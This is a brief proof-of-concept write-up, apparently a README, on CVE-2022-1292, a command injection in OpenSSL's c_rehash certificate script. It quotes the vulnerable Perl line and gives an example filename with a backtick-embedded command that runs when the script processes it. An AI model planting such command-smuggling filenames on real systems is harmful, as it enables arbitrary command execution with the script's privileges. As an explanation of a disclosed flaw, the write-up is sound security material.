CVE-2022-1292 Vulnérabilité OpenSSL c_rehash - POC

The c_rehash script does not properly sanitise shell metacharacters to prevent command injection.
This script is distributed by some operating systems in a manner where it is automatically executed.
On such operating systems, an attacker could execute arbitrary commands with the privileges of the script.
Use of the c_rehash script is considered obsolete and should be replaced by the OpenSSL rehash command line tool.
This script is executed by update-ca-certificates, from
ca-certificates, to re-hash certificates in /etc/ssl/certs/. An attacker able
to place files in this directory could execute arbitrary commands with the
privileges of the script.
Command injection ocurrs because filenames are not properly sanitized:
$fname =~ s/'/'\\''/g;my ($hash, $fprint) = `"$openssl" crl $crlhash -fingerprint -noout -in '$fname'`;This part of the script is vulerable, as closing the backticks allows for command execution, for example a file named: MyCert.crt`whoami` will run "whoami".
